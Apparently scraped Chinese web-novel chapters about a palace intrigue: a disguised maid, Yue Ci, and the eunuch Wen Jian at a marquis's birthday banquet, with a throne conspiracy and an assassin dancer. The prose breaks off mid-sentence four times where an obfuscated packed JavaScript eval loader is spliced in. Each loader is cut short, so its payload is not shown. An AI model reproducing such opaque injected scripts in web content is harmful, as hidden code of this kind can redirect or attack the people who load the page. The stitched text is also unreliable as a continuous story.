月慈深吸一口气,劝自己小不忍则乱大谋,随后朝着闻鉴伸出小臂,去搀他。 闻鉴刚将手放上去,立马被什么东西刺了一下收回手,只见掌心泛了一粒血珠。 月慈皮笑肉不笑地看他:“怎么了掌印?” 闻鉴浅笑:“无妨。” 随即重重将手压在她小臂上,渗出的血染红了袖口。 月慈一惊,心中低骂一句:这个疯子! 闻鉴心满意足地上了马车,月慈本想转身回到后面,对方却在里面淡声道:“你就随行在马车旁边。” 月慈咬牙切齿地应了声:“……是。” 队伍这才行动起来,出发前往定文侯府。 闻鉴将车帘掀开,本来以为月慈会是一脸怨气深重的模样,可那张脸上的神色竟意外的平静。 他当然知道月慈去侯府的目的,但就算此刻的她知道一切,也未必能将那人扳倒,甚至有可能枉送性命。 然而月慈性子倔强,从不考虑这些,他便想着,也跟她胡闹一回,做一次棋局之外的决定。 闻鉴看她一脸正经,便想着逗逗她:“要不要上来?” 月慈目视前方,假装没听到。 她是疯了不成,这种时候跟他坐一辆马车,生怕自己不够引人注意么。 闻鉴不折不挠,又问:“走累了么,要不要让队伍停下休息会?” 月慈:“……” “你的衣袖脏了,一会儿记得遮着些。” “……” 月慈算是明白了,这家伙是逮到了机会故意的。 闻鉴废话无数,月慈听了片刻,脸上的从容瞬间坍塌,低吼了一声:“给我闭嘴!” 周围的黑鸟卫齐刷刷看了过来,月慈顿觉头大:堂堂掌印竟然跟个孩子般幼稚。 好在闻鉴目的达成,没再继续招惹她,似是轻笑了一下,放下车帘。 月慈对定文侯金庭之的事不太熟悉,只知道他是太后的母族,行事比较低调,就连侯府都特意选在较为冷清的地方。 位置虽冷清,但今日是他的生辰,来往宾客众多,一下子便也热闹了起来。 闻鉴是目前所到的宾客里阵仗最大的,远远便有人瞧见那红顶马车,侯府管家一眼认出来人,吓得连忙让人进府里通传一声,又让身边小厮去招待其他宾客。 红顶马车停在了侯府门前,管家笑得咧开嘴,迎上去唤了声:“见过掌印。” 随即将自己的小臂凑到闻鉴身前要扶他。 闻鉴淡淡扫他一眼,身形未动,倒是看向了立在一旁的月慈。 月慈心领神会,上前来搀他。 管家神色未变,却没说些什么。一些宾客好奇地站在门口,一些来晚了的便在后头张望,想着等闻鉴先进去。 管家佝着背,说话变得极其小心:“掌印既来了,那陛下……” 按理说闻鉴就算要来,也该在皇帝尉迟泓身边跟他一起来才对,但这次却是他独自前来,一时管家也看不懂为何。 闻鉴轻描淡写道:“陛下让咱家先来祝寿,怎么,侯府不欢迎?” 管家一听,顿时冷汗直流:“不敢不敢。” 闻鉴也懒得刁难他,只转头看了青雀一眼,青雀走到后方,让人把红木箱子都抬到前头来,命人打开。 闻鉴道:“这些东西不算多,只是咱家送给定文侯的一点心意。” 整整十个红木箱,打开的一瞬间,周围的宾客眼睛都看直了。 红木箱里静静躺着各种奇珍异宝,珠钗首饰,散乱而又随性地直接堆成一团,像是随意取出来的。其中光是一颗夜明珠就有一个拳头大,却可怜兮兮地挤在角落,可想而知这些东西的主人是有多不把它们当一回事。 来的人哪个不是高门大族,或是贵戚权门,然而就算是他们,也无法随性的拿出这么多东西来。 更何况,听听他嘴里说的是什么? 这些东西不算多? 想来一介阉人都能拥有这么多他们无法随意拿出的东西,一个个望来的目光中便多了些酸味和鄙夷,悄悄在私下里议论开来。 管家收起瞠目结舌的脸,连忙道:“是,一会儿小人会将掌印的心意转告给侯爷,掌印先请入内吧。” 闻鉴便气定神闲地朝侯府内走去,周围的人自觉给他让出了一条路来。 月慈和其她几名侍女低着头跟在他身后。 府中宾客听到动静一一回头。 他们怎么可能认不出闻鉴的脸,刹那间脸上的喜色凝固了,眼里只有嫌恶,却不敢表露出来。目光落在闻鉴身后,看到那几名侍女的时候,神色又忽地一变。 这闻鉴不是好男风么?以前从不带侍女出门,就是那些送进他府中的美人,都被杀了个干净。 不过最近坊中有传言道,说是这闻鉴最近瞧上了一个姑娘,起初还以为是谣言,但现在看来或许不假,只是不知道谁家姑娘这么倒霉,被这么个毫无人性的家伙看上了。 倒霉的月慈才进门,身边的青雀忽然对她低声呵斥道:“瞧你这袖口脏的,简直是在丢飞鸟阁的脸!还不赶紧去清理干净!” 月慈便做出一副恓惶的样子,应了声“是”,低头从几人身后退走了。 青雀告诉月慈,今日的定文侯府会有她想知道的真相,所以她来了。 但具体真相会以什么样的形式出现,青雀并没有说明。 月慈只好先在后院独自摸索一番,无意走到了库房位置,看到一些人正在往里搬东西,门口有人拿了册子正在记录。 有人看见她,叫住了人,问:“什么人?” 月慈老实道:“奴婢是飞鸟阁的侍女,方才在前厅弄脏了衣裳,便想着找个地方洗洗。” 听到“飞鸟阁”三个字,那几个人打量她的眼神登时有几分古怪,垂眸看了眼她的袖口,狐疑道:“你这……好像是血吧。” 月慈不动声色道:“只是沾染了些果酒,颜色和血有些相近罢了。”她撸起袖子,露出干净的小臂,“您瞧,我身上又没伤。” 那人半信半疑,好在没有刁难,只为她指了个方向道:“那边就是观心湖,你可以去那洗洗。” 月慈道了声谢,转身往观心湖的方向走去。穿过一条小径,先是见到一片假山奇石,再走近些才是观心湖,坐落在阳光下波光粼粼。 月慈蹲在湖边用水清洗袖口时,忽然瞧见对面的林子后闪过几道身影,虽然看不清人,但那几个大红木箱子她却是无比熟悉。 前来祝寿送的贺礼按理说都会统一收入库房,但她刚从库房过来,那些人去的方向却是和库房相反。 心中闪过一丝疑惑,月慈随手将湿漉漉的袖口拧了一把,起身准备跟过去看个究竟时,身后有人猛地撞了过来,将她撞向一边差点栽进湖里。 那人看上去匆匆忙忙,连句话也没说,只留给月慈一道素白的,清瘦高挑的背影。 起初月慈还没觉得什么,只在心里嘀咕了一句,直到她转过身时忽然意识到一点诡异之处,整个人顿时僵在原地,紧接着脊背窜上了一股冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青雀上前,准备将猫抓走,闻鉴却抬了抬手,让他退下。 那白猫也抬头盯着闻鉴,似是好奇地打量,眼睛绿莹莹的。随后它在闻鉴身上嗅了嗅,伸出一只毛茸茸的爪子拨动闻鉴系在腰间的白色香囊。 香囊上绣着一只鸟,它一拨,那鸟便像是动起来似的。 闻鉴:“……” 他不大高兴地皱眉,直接抬手揪起了白猫脖颈后的软肉,将它整个提了起来。 那猫倒也乖巧,不挣扎也不乱叫,被提起来后看起来顺从了许多。 “掌印!”金宣着急忙慌地从另一头奔过来,喘了两口粗气,才道:“这是我的猫,你快还给我!” 闻鉴并不会像其他人一样哄着她,闻言只道:“你的猫?如何证明。” 金萱皱眉:“这还能如何证明,不信你看她脖子上的铃铛,上面是不是刻着十六!” 闻鉴一手翻过白猫脖颈上的铃铛,确实在背面看到了一行小字:十六。 他沉默片刻,似是若有所思。金萱一急,生怕这传说中的魔头会连只猫也不放过,竟是直接上前去夺。 闻鉴没有夺人所爱的癖好,便任由金萱将他手里的猫抢走。没成想猫急了,朝着闻鉴的方向“喵喵”叫了两声,看上去很是急切的模样。 金萱一时没抱住,它便又落在地上,蹭到了闻鉴脚边。 “奇怪了,十六从不亲近他人的……” 金萱目光落到了闻鉴腰间的香囊上,朴素的格格不入,心想也许这就是十六亲近他的原因,便问:“掌印,你这香囊打哪买的?” 闻鉴扫了眼腰间,脑海中紧跟着闪过一张脸。 眉眼渐渐舒展变得柔和,道:“别人送的,哪都买不到。” 金萱看着他的表情变化,也跟着想起了最近的传闻,心中一时惊诧,却是过分好奇,于是大着胆子问:“谁?” 闻鉴神思收敛,闻言瞥了金萱一眼,刚想说些什么,目光忽然落在了她的身后。 远处的月门下立着一道藕粉色的身影,正面无表情望向这边。明明只是个侍女打扮,但闻鉴硬是看出了几分不怒自威的气势。 这是他生平第二次,脊背窜上了一股寒意。 45. 不怀好意 月慈已经站在月门下看了有一会儿了。 不是说司礼监掌印手段阴狠,人人为之厌弃,恨不得杀之而后快么,她看他倒是和别人聊挺欢快的,不像是被人厌弃的样子。 月慈说不出此刻是个什么感受,如果非要形容的话,就像是她在路边捡到了一只被人丢弃的小狗,他们相依为命,小狗只会朝她摇尾巴,舔她的手,直到有一天她看到小狗也会和别人愉快的玩耍。 明明她的小狗也会被其他人喜爱是一件值得高兴的事,就像孩子得到别人的夸赞父母也会心生自豪,但那一瞬间,月慈脑海中万千思绪化作了泥沼,只生出了一个念头来:不许。 不许不许不许不许不许…… 直到闻鉴走近,月慈思绪回笼,眸中阴翳还未完全褪去,将眼静静望着他,是连自己都不曾意识到的哀怨。 闻鉴第一次见她露出这副神情,让他莫名有种被抓包的心虚,抿了抿唇后,试探问:“如何?” 月慈扯了点嘴角,似笑非笑道:“挺漂亮的姑娘,明艳动人。” 闻鉴愣了一下,继而眉眼染了笑意:“我问的是你观察到的情况,你说的是什么?” 月慈:“……”那点似是而非的笑也从脸上隐去了,但耳根却显而易见地红了起来。 闻鉴似有所感,漆黑的眸子里藏不住地亮了一点光,瞥了眼抱着猫的少女,慢悠悠道:“哦,原来你说的是金宣啊。” 月慈狠狠瞪了他一眼,正要说话,门前忽然有人扯着嗓子喊了一声:“德亲王到——” 闻鉴的笑凝固在了脸上,连眼中的光也终归寂灭。 月慈好奇地转头看去。 数十名仆从从门外走了进来,他们手中端着垫了红绒布的盘子,里面盛放着各式各样的贺礼,有美玉或黄金,还有几人合力抬着一尊半人高的白玉佛像。 身着紫袍华服的男人最后才闲庭信步地出现。 先前在飞鸟阁的时候,月慈只听到二人对话,但并未见到尉迟炯本人,如今才算是亲眼见到了。那是一张看上去就很贵气的脸,五官硬朗,眉骨挺拓,眼中部位却像是蒙了一层黑白的阴翳,叫人第一眼看上去并不舒服。 他走姿极其倨傲,总是微抬着下巴看人,扫视四周一圈,目光只在闻鉴的方向上多做了停留,随后,月慈与他对上了视线。 仅仅一瞬,月慈看到他似乎是咧嘴笑了一下,是不怀好意的神色。 月慈蹙眉,感觉心脏在胸腔中高高跃起,以至于她下意识便探出了袖箭的刀刃。 很快,一只手背悄然靠了过来,轻轻触了触她的手。月慈回过神,收回视线,将头低了下去。 尉迟炯看向身边的管家:“母亲身子不适,今日就不来了。侯爷呢?” 管家毕恭毕敬道:“侯爷他早起时觉得身子不适,暂时先在屋内休息了,只待晚些宴席开始,身子好些了再出来。” 尉迟炯不知是想到什么,嗤笑了一声,又道:“那本王便先去看看侯爷。” 他转头,直直看向闻鉴,“掌印也跟本王一道吧。” 这种时候月慈不便跟去,只能看着闻鉴和尉迟炯一道离开,心中隐约感觉不妙。 —— 庭院秋深,风急料峭。闻鉴拢了拢身上的大氅,跟在尉迟炯的斜后方步入游廊。 人都在前厅,此刻四下寂静,只剩两人交错的脚步声。 尉迟炯注定是个闭不上嘴的人,尤其是在闻鉴面前,他逮到机会便想奚落一番,于是开口道:“方才那个站在掌印身后的侍女,莫非就是掌印的女人?” 闻鉴脸上一片死寂之色,闻言只道:“殿下错了,她不是我的女人。”顿了顿,又慢悠悠补了半句,“她是她自己的。” 如果他的香囊等同于铃铛,那么应该换个说法,他是她的才对。 尉迟炯闻言只觉得好笑,大概是因为生平没有听过这么荒唐的话。 他讥笑一声,道:“难怪你不是个男人,没根的东西才会说出这种窝囊的话来。” 这种诋毁的话,闻鉴向来懒得辩驳,他神情淡淡,再次陷入沉默。尉迟炯见他这副死样,也懒得继续再说,毕竟今日还有更重要的事要做。 两人实际上并不是去定文侯房间的方向,穿过游廊后还要拐进一条隐秘的小径,直通一处隐蔽在林中的屋子。 闻鉴倒是第一次来这地方,偶尔会用余光扫视周围。 屋子那已有仆从等候,见到他们来,便为两人打开房门。 里面原是十分空旷的,但因为摆了许多个大红木箱子,看上去便有些拥挤。 箱子前站了一个穿着无袖土色圆领的男人,身形清瘦,原是背对着他们,听到声音,那人咳嗽了两声,才缓缓回过头来。 是一张有些沧桑的面容,脸颊瘦削,一副没什么精气神的样子,然而看上去慈眉善目的,很是和蔼。 他微笑道:“你们来了。” 尉迟炯调侃道:“侯爷这病好的真快啊,这么会儿功夫都能下床了。” 金庭之声音温温和和的:“病不病的,都是人说了算。” 他看向尉迟炯身后的闻鉴,“听说掌印这次带了不少心意来,不妨大家一起看看?” “当然。”闻鉴上手将红木箱盖打开,露出里面的金银,随后将手探进箱壁,摸到机关一掰,那面上一层装了奇珍异宝掩人耳目的格子便弹了起来。 下面,才是他真正要送的东西。 尉迟炯和金庭之凑上前来,看到红木箱底堆满了崭新的刀剑。 金庭之眼前一亮,拿起一把长刀在眼前细细端详起来,赞叹道:“确实不错,刚劲有力,锋利无双。” 闻鉴道:“都是从西山暗矿里出来的,先前因为柳行云的介入耽搁了一段时间,好在为时不晚。” 金庭之放下刀,叹道:“柳太师是个好人,可惜,太过刚正死板。若不是被他发现了暗矿的事,咱们也犯不着杀他。” 尉迟炯嗤道:“就算他没发现暗矿,此人也留不得。” 他故意看向闻鉴,“你说对吧,掌印?” 闻鉴面色不改,淡淡道:“殿下说的不错,不懂变通的人留着迟早是个祸害,杀便杀了。” 于是尉迟炯笑了起来,面带得意地看向金庭之,道:“舅舅你看,我就说他听话吧。” 金庭之瞥一眼闻鉴,一拂衣袖,淡淡道:“好了,这批兵器我看着不错,可以命人下去加以打造了。” 他舒坦地挺直了脊背,像是卸下了肩上的重担,“好啊,多年谋划终归要结束了。” 说完宽慰地拍了拍闻鉴的肩,感慨道:“一路以来掌印也辛苦了,待日后炯儿登位,必定许掌印日后更风光的前程。” 风光?风光大葬么? 闻鉴无比清楚这家人的德行,哪怕每张对外的面孔不一样,但骨子里都是相同的。 悬崖上的冥夜毒,他可不敢忘记。 不多时,外面有人通报,说是陛下就要到了,几人这才收起各异的心思,回到前厅。 —— 月慈方才低声问青雀到底要自己看什么,青雀只让她等,然后她便等到了陛下驾到的消息。 此时闻鉴从长廊另一头出现,月慈上下将他打量了一番,见他神色淡淡,衣角依旧整洁,随后她感觉到有人在看着自己,微微偏头,又对上尉迟炯那双满是阴翳的眸子。 看见那双眼睛,月慈便是说不出的讨厌。 忽然,外面传来响亮悠扬的一声:“陛下到——” 侍从们最先跪了下去,月慈也不例外,跟着跪下,其余宾客则一脸肃穆,恭恭敬敬朝着来人行礼。 月慈悄悄抬头去看那位九五至尊,先是看见明黄的衣襟上,用极好的各色羽线绣出龙纹,一针一线象征不可攀比的华贵,以及那不可逾越的威严。 一路往上,是一张还算年轻端正的脸,但看着有几分消瘦。剑眉入鬓,他和尉迟炯作为兄弟眉眼有些相似,只是尉迟炯的眼睛看上去太过锐利直白,藏不住事,这位帝王却显得要讳莫如深些。 尉迟泓身边还跟着一位年轻的女子——当今陛下并未立后,此人应该是一位妃子。生了一副明艳大气的长相,穿着一件鹅黄色的宫装, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宴间宾客一时间都看了过来。 金庭之脸色一黑,心道这没用的外甥又是老毛病犯了,开始不分场合的发疯。 闻鉴淡淡道:“奴才只是担心这侍女手拙粗笨,恐伺候不了殿下。” 月慈心想,你才粗笨。 面上却做出一副唯唯诺诺的样子来。 尉迟鸿古怪地看一眼闻鉴,又打量月慈一番,带着醉意哈哈一笑道:“不过这丫头确实好看,不如到朕跟前来替朕斟酒!” 他一脸醉态,咬词含糊不清,月慈悄悄抬眸撇扫一眼,却有一瞬觉得对方分外清醒。 天子既发话,她不得不从。 闻鉴微微蹙眉,不知道在想什么。 月慈脚下刚动了半步,那久未开口的祺妃忽然侧身朝尉迟鸿靠去,贴着他的肩侧,声音并不响亮,却足够所有人听见:“陛下有臣妾一个还不够么,非要当着臣妾的面让别的女人斟酒。” 媚态十足,却不做作,只是像一个小鸟依人的妻子,对着丈夫娇嗔。 尉迟鸿便将眼中的清明藏了藏,大手揽过祺妃的肩,痴醉一笑,仿佛此事过罢。 可尉迟炯却不打算这么放过她。 固执地看向月慈:“过来。” 月慈面色平静地朝尉迟炯走去,为他倒酒。 那双阴鸷的,不怀好意的目光便在她身上流连。 月慈恨不得直接戳瞎那双眼睛。只是刚起念头,手便被人猛地一把扣住,酒水溢出在桌上。 月慈心中一惊,不是惊别的,只是庆幸自己先前防止露出马脚,有意先卸下了袖剑。 此时腕如扶柳,纤然一握。 闻鉴这个角度自是能看到一切,当即拉下了整张脸来,一声不吭,目光却如一把锋利而冰冷的刀,落在了尉迟炯的手上。 他之前从未有过像现在这一刻般,想砍了那家伙的手。 46. 柳萝 闻鉴其实可以将月慈留在身边,不必去做这种事,但那样太过显眼,恐会让月慈今日的伪装白搭一场。 如此,只好叫尉迟炯的那双猪蹄子先在自己那寄放着。 尉迟炯望着月慈的脸,眼底带着狡黠的笑意,慢吞吞唤了一声:“月慈。” 月慈悚然一惊,这一刻脑海中闪过无数画面,最后定格在了庄泽宣被射中一箭时的那个夜晚。 是他,那个派人追杀她的家伙! 月慈心中刚生出一股肃冷的杀意,可就在下一瞬,她忽然觉得哪里不对,于是僵着身子缓缓抬眼,扫向正在甩袖起舞的舞姬们。 她们每个人都蒙着一层薄如蝉翼的面纱,身着素白衣裙如月宫仙娥,长袖翻飞,在空中划出一道道逶迤的弧度。 月慈却从中感觉出了一点杀意——来自其中一人。 不知是谁的长袖舞起,一瞬寒冷的匕光暗藏其中。那双充满杀意的眼睛几乎就要越过人群朝着尉迟炯的方向刺来。 月慈反应过来后故作失手将桌上的酒盏打翻在地,浇了尉迟炯满手。 立马跪身道:“殿下恕罪!奴婢奴婢手拙,惊扰了殿下!” 尉迟炯原本满脸的探究和打量顿时变成了不耐,一边看着自己湿濡的衣裳满是烦躁,朝着月慈低斥道:“滚回去!” 月慈低头,颤着声应了句“是”。等她从尉迟炯身边退开时,再次朝白衣舞姬的方向望去,那股杀意已然消失了。 不,或者说是藏了起来。 明明只是湿了衣袖,尉迟炯却暴跳如雷地站了起来,指着回到闻鉴身后的月慈刚要发声。 闻鉴得了机会,当然要抢先一步打断道:“奴才先前就提醒过殿下,可殿下不听,也怨不了旁人——宴席还未结束,殿下这样子可不大好看,不如先下去换身衣裳吧。” 一口一个奴才和殿下,却没有半分位居人下的意思。 人前,他永远是那个一人之下万人之上的掌印。 尉迟鸿飞快眨了眨眼,忽地大笑起来,依旧是一副醉态,冲尉迟炯道:“想必美人不是故意的,皇兄既脏了衣裳,还是先去换了吧。” 金庭之也想让这碍眼的外甥赶紧离开,便挥手招了人来,带他下去。 宴间总算静了下来,那些长袖舞姬一舞结束,便要换了下一批人来,她们才退出去,月慈便动了身想跟出去。 尉迟鸿此时歪歪扭扭地起身,醉醺醺道:“这厅中太闷了,你们,都跟朕出去透透气!” 闻鉴起身时悄悄伸手拦了月慈一下,经过她身边又低声道:“跟来。” 月慈只好跟着他们一道,一群人浩浩荡荡往观心湖的方向移动。 虽是深秋,但今日日光和煦,走在外面并无多少寒意。观心湖岸一下子多出了不少人,尉迟泓走在最前头,身边是祺妃和金庭之,闻鉴不疾不徐走在几人斜后方。 他没有喝醉,按理说步子该走的快些,虽不至于越到皇帝前面去,但也不至于落到了最后方。 月慈看到离自己越来越近的那道人影有些头疼。 她之前怎么不知道他能这么粘人? 很快闻鉴的速度已经慢到能和月慈并肩。 月慈脑中警铃大作,面上还保持着侍女的姿态,却是低声斥道:“你想干什么?” 闻鉴只是笑了一下,往她的方向又贴近了一些,从大氅中伸出一只手来,轻轻拉住了她。 月慈身子陡然一僵,忙抬头看了一眼。好在她走在最后边,前边的侍女知道身后是闻鉴,都没那个胆子敢回头偷看。 恶名在外,这种时候倒成了好事。 但月慈仍是觉得心惊:“你疯了?!” 一边想将那手甩开,对方却固执地握得更紧了:“就一会儿。” 那只攥着她的手冰凉如铁,明明在这样温暖的阳光下,他甚至披着一件大氅,可那双手却像是无论如何都捂不热似的。 月慈慢慢停止了挣扎,任由他攥着。 若抛去一切,从外人眼里来看,他们就像是正常绕着湖边漫步的一对壁人。 月慈总觉得闻鉴像是又瞒了她什么事,抬眸望去时,却先望见他青丝中藏着的一根白发,在日光中晃得灼目。 她忽然挪不动目光了。 被湖边薄风一吹,尉迟泓总算是恢复了一丝清醒。 金庭之在外人眼里素来是话少低调的形象,也不怎么关注朝堂上的事,尉迟泓总觉得跟他无话可说,便想着寻闻鉴来说说话。 可一侧头,闻鉴却不在身后,继而往后看去,才见到人,正和一位侍女像是在拉拉扯扯的模样。 他眼中闪过一丝不易察觉的异色,喊道:“掌印在做什么?” 此时月慈已经甩开了闻鉴的手,正垂头一副唯唯诺诺的模样站在他面前。 闻鉴垂眸扫了月慈一眼,这才踱步朝尉迟鸿走去,不咸不淡道:“方才这丫头犯了错,奴才正在给她训话呢。” 他对这位陛下明面上向来没什么恭敬的意思,不过是装装样子,两人眼睛王八看绿豆似的一对,尉迟鸿总会对他格外宽容。 但这份宽容落在别人眼里就不一样了。 因此尉迟鸿没什么脾气,只笑着打趣道:“说起来掌印年纪也不小了,合该给你寻摸门亲事才对,若掌印真有瞧上的姑娘,大可以告诉朕,朕替你做媒。” 稍微有点势的宦官都能娶妻安宅,更何况是司礼监的掌印。 只是闻鉴历来对此没有想法,只淡淡一笑:“多谢陛下美意,不过奴才没有这个心思。” 尉迟鸿的目光若有似无地往后头扫了一眼,也不知他此刻心里到底在想个什么。 两人才聊了这么几句的功夫,不远处忽然传来了落水声,紧接着几个侍女侍从同时喊了起来:“不好了!祺妃娘娘落水了!” 几人猛地转头看去,看见稍远一些的河里正有人在扑腾挣扎。 紧接着又响起了噗通一声,一人速度比侍卫更快,几乎没带犹豫地第一个跳进了湖里,朝祺妃游去。 闻鉴望着湖里那道藕粉色的身影,眼皮一跳。 连尉迟鸿都没意识到祺妃是什么时候落到后面去的,立马一脚踹向身边伺候的内侍,吼道:“瞎了你们的眼了,怎么伺候的人!都给朕拉下去砍了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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能得天子赠礼,是多数平民百姓不可妄想之事,月慈知道其中珍贵,便没有装那劳什子的矜持说不要,只先谢过陛下,接着便厚着脸皮将此事先寄放在陛下那,待日后想到再求。 只是这皇帝的承诺能有几分真,月慈也不清楚。 金庭之在旁边不知打的什么心思,两眼一转,上前一步道:“事关龙嗣,还是仔细为上,这侍女只学了一点皮毛,诊断未必准确,臣这就去寻几名大夫来为祺妃娘娘好好看看。” 月慈懒得和他辩驳皮毛之事,当下只觉得这父亲的更是古怪。女儿在怀有身孕的情况下落水,他也不过是浅薄地关心了几句,总之这一个两个的,都是不走心。 然而月慈现在满心要去寻一个人,便趁此机会以换衣为由退下了。 她要找的那个人,光是想到那活生生的背影就会让她心里发毛——只是没等她主动去寻,对方便先找上了她。 当时她正在屋内褪换湿漉漉的衣裳,那人声称自己是来给她送干净衣裳的,也不等月慈回答,直接推门进来了。 月慈诧异回头,就见那人从衣裳下抽出一把巴掌长的窄刀朝她刺了过来。 月慈当即用手中的湿衣裳卷住那只袭来的手,低声呵道:“你要干什么蓝衣!” 蓝衣见她认出,干脆也不装了,一把扯下脸上的面纱,那双眸子里满是幽怨,却又浮动着一层水波。 她一字一顿,铿锵有力道:“我不叫什么蓝衣,我的真名,叫柳萝。” 47. 真相 柳萝,月慈对这个名字有些陌生,但她听到“柳”这个姓氏,便起了一层的鸡皮疙瘩。 如果她没猜错,眼前的蓝衣柳萝,多半和柳行云有关。 月慈此刻心中满腹疑问,只是对方像是铁了心要她的命,只好先反手将柳萝那双动不动提刀杀人的手先给捆住了,继而在她肩上一推,将其按在旁边桌案上。 柳萝没想到数月没见,月慈竟有如此身手,一时只觉得更加气愤,挣扎了一下,道:“放开我!” 月慈将食指抵在唇前,又瞥了门的方向一眼。 柳萝明白她的意思,只好忍着满腔怒火先安静下来。 月慈笑了一下,才道:“我虽好奇你为什么还活着,但更好奇你为什么想要杀我。”她歪头思索了一下,“难不成是因为我在宴席间阻了你?” 柳萝怒瞪着她:“明知故问!” 她好不容易乔装成舞姬混入席间,就等一个机会离尉迟炯最近的时候,能够将其一击毙命,没想到被月慈横空插了一脚,当下宰了她的心都有了,偏偏自己打不过她,还被人团的像个球似的按在桌上,实在屈辱! 月慈看着她这模样,有一瞬间感觉像是看到了半个自己。 她叹一口气,道:“你可知,若你真的在席间动手,且不说能不能成功,就是真的杀死了尉迟炯,你也难逃一死。” 柳萝冷哼一声,无比倔强道:“那又如何,我今日既来了,就没想着活着离开。” 月慈哑然,这回倒像是看见了整一个的她。 于是将手撤了去,又将她身上凌乱的衣裳理了理。 柳萝拍开她的手:“别假惺惺的。” 月慈难得有一副好脾气和耐心,道:“现在可以跟我说说吗?你为什么会出现在这,又为什么要来刺杀尉迟炯?” 在看到她的第一眼,月慈就已经猜到闻鉴那个骗子果然嘴里每一句话真话,想必那日杀掉姑娘们的举动,也不过是个掩人耳目的幌子。 那柳行云呢?难不成此事也有蹊跷吗? 柳萝显然对她并未完全信任,并不打算跟她详谈此事。 月慈心想,这姑娘大概是个刺头,若是硬碰硬,只怕她会更加不配合,不如来软的,哄两句。 她这辈子都没哄过什么人,也说不出几句软话,先前按照明雀说的哄了闻鉴两下,总觉得身上像长了跳蚤似的,想来自己并不适合干那个事儿,但不知道为什么一个两人的都要她哄。 月慈软声道:“方才在宴席上我也是为了你好,怕你一时冲动事后难以脱身,你别见怪。” 柳萝诧异地看着她,活像见了鬼:“几个月不见,你怎么变成这样了。” 照她先前的性子,早该板着脸跟她说些大道理了。 月慈额角一抽,发现自己不仅没那天赋,还容易被人当成是鬼上身。 于是恢复正色道:“既然你不想说的话,那就我先说。” 她简单说了一遍月霞的事,包括自己几次刺杀闻鉴,柳萝听后眼中闪过一抹异色,好半晌才愣愣接道:“不是的……你什么都不知道。” 相同的经历总是容易引起两人之间的共鸣,柳萝强撑许久的肩终于有了松动,像是寻到了一半可以分担自己满腹心事与痛苦的人。 月慈终是没忍住,道:“废话,你什么都不说,我能知道些什么?” 柳萝看了月慈一眼,心想这才是她能说出来的话,一下子莫名舒坦了,但还是有些别扭道:“当今太后想暗中扶持自己亲生的儿子德亲王上位,不仅在暗中拉拢朝廷官员,还偷偷开采银铁矿,准备打造一批更为强力的武器。我的父亲柳行云……他发现了他们的计划,所以那些人才让闻鉴动手,准备除掉他。” 那日她藏在衣柜中,本想给父亲一个生辰惊喜,却没想到意外听到了父亲和闻鉴的对话,更没想到那对话竟然是父亲与另一个人在谋划着该如何杀死自己。 他说:“是不是只有我死了,那些家伙才会掉以轻心。” 闻鉴沉默了许久,才道:“您不一定要死……或许只要在他们面前演一出戏……” 柳行云打断他道:“不,我一定要死。如今他们暗中根系已错综庞大,陛下心中清楚,仅凭一人之言,难以撼动其他,若要他们败,必要他们先放松警惕,从内到外,逐一击破……这也是将伤亡减到最小的方式。” 他眼中有光,随着烛火明灭,眼中倒映着闻鉴平静的面容。 这一刻,没有人知道柳行云在想什么,他叹了口气,语中隐有愧疚道:“孩子,到了那日便由你来亲自动手吧。” 可柳萝至今都不明白,为什么父亲说这句话时带着愧疚。 她对月慈苦笑道:“你能明白吗?当时我藏在暗处,却只能眼睁睁看着我爹他计划着自己的死路,却在为我谋得退路。” 她眼眶通红,里面水光潋滟。 可没一会儿,忽然听到月慈低低应了一声:“我明白。” 柳萝抬眼望去,以为她只是随口一说,便道:“你才不会……” 月慈面色平静,截口又重复了一遍:“我明白。” 她眼底慢慢红了一圈,“十年前,家乡县令生了场怪病,有人举荐我父母去为县令医治,治到最后,那县令还是死了,他们便说是我父母害死的他——那年我和姐姐躲在屋子里,看到数十名官兵将他们带走,从此再没有回来。” 后来月慈总在想,如果当时父母没有答应去为那县令治病,如果月霞愿意抛却一切跟她逃走,如今她肯定也能跟大多数人家的孩子一样,平凡而又顺遂地度此一生。 当然,那是她痴心妄想了。 柳萝没料到她会有此经历,一时嘴角抽搐了一下,不知该说些什么——显然,这也是张石头雕的嘴,说不出什么软话。 月慈也无需她的安慰,摆了摆手,只问她:“后来呢?” 柳萝没想到她情绪收的这么快,那顽石似的心眼里禁不住生出了点缝,对此由衷有些佩服,但还想保持一下脸面,是以没显露出来。 她道:“闻鉴早早做好了准备,父亲死前,他就命人将我送去城外的一座寺庙,说是去祈福,可那些黑鸟卫却将我带到偏远小城里藏起来,对外只说我死在了回京都的路上。” 要说方才提到父母回忆时月慈心血都是冷的,那么现在听了这番话后,月慈感觉浑身经脉的血都快要烧起来了,一路烧到了脑子,以至于她懵懵懂懂,有些发昏。 好半晌,她才听到自己的声音:“所以你回到京都是想□□,所以那日闻鉴没有杀人,而是将你们都带下去藏了起来。” “是,闻鉴只是他们推出来承担一切的靶子。”她看了月慈一眼,“所以我想关于你姐姐的事,应该也是误会。” 月慈脑子已经乱成了一锅稀烂的粥,但心里却无比轻快,简直像一场呼啸而过的风吹散了满山的迷雾,终于让她窥见了雾后的真实模样。 可那座山包容她,困住她,凝望她——却唯独不拥抱她。 月慈对此又生了点不满的滋味。 原来这就是青雀要她看的真相,想必他早就知道柳萝会在这里伺机对尉迟炯动手,这才要她来亲眼所见。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 